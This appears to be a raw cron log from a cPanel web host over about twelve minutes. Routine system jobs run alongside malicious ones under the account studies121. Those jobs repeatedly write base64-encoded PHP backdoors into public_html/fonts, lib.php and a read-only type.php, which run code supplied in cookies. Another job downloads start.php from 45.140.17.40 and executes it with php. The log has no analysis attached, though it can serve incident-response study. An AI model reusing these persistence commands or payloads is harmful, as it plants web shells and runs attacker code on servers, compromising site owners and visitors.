Sep  7 01:46:01 ip-184-168-122-23 CROND[27242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:46:01 ip-184-168-122-23 CROND[27245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:46:01 ip-184-168-122-23 CROND[27244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:47:01 ip-184-168-122-23 CROND[27353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:47:01 ip-184-168-122-23 CROND[27354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:47:01 ip-184-168-122-23 CROND[27356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:47:01 ip-184-168-122-23 CROND[27355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:48:01 ip-184-168-122-23 CROND[27465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:48:01 ip-184-168-122-23 CROND[27466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:48:01 ip-184-168-122-23 CROND[27467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:48:01 ip-184-168-122-23 CROND[27469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:48:01 ip-184-168-122-23 CROND[27468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:49:01 ip-184-168-122-23 CROND[27637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:49:01 ip-184-168-122-23 CROND[27638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:49:01 ip-184-168-122-23 CROND[27641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:49:01 ip-184-168-122-23 CROND[27642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:49:01 ip-184-168-122-23 CROND[27643]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27743]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:50:01 ip-184-168-122-23 CROND[27753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:50:01 ip-184-168-122-23 CROND[27751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27749]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:50:01 ip-184-168-122-23 CROND[27756]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:51:01 ip-184-168-122-23 CROND[27871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:51:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:51:01 ip-184-168-122-23 CROND[27875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:51:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:52:01 ip-184-168-122-23 CROND[27961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:52:01 ip-184-168-122-23 CROND[27960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:52:01 ip-184-168-122-23 CROND[27964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:52:01 ip-184-168-122-23 CROND[27962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:52:01 ip-184-168-122-23 CROND[27963]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:53:01 ip-184-168-122-23 CROND[28040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:53:01 ip-184-168-122-23 CROND[28041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:53:01 ip-184-168-122-23 CROND[28042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:53:01 ip-184-168-122-23 CROND[28043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:54:01 ip-184-168-122-23 CROND[28209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:54:01 ip-184-168-122-23 CROND[28212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:54:01 ip-184-168-122-23 CROND[28213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:54:01 ip-184-168-122-23 CROND[28214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:54:01 ip-184-168-122-23 CROND[28211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:55:01 ip-184-168-122-23 CROND[28295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:55:01 ip-184-168-122-23 CROND[28297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:55:01 ip-184-168-122-23 CROND[28298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:55:01 ip-184-168-122-23 CROND[28299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:55:01 ip-184-168-122-23 CROND[28305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:55:01 ip-184-168-122-23 CROND[28301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:56:01 ip-184-168-122-23 CROND[28392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:56:01 ip-184-168-122-23 CROND[28396]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:56:01 ip-184-168-122-23 CROND[28394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:56:01 ip-184-168-122-23 CROND[28397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:56:01 ip-184-168-122-23 CROND[28398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:57:01 ip-184-168-122-23 CROND[28488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:57:01 ip-184-168-122-23 CROND[28491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:57:01 ip-184-168-122-23 CROND[28490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:57:01 ip-184-168-122-23 CROND[28492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:58:01 ip-184-168-122-23 CROND[28607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:58:01 ip-184-168-122-23 CROND[28609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:58:01 ip-184-168-122-23 CROND[28610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:58:01 ip-184-168-122-23 CROND[28612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
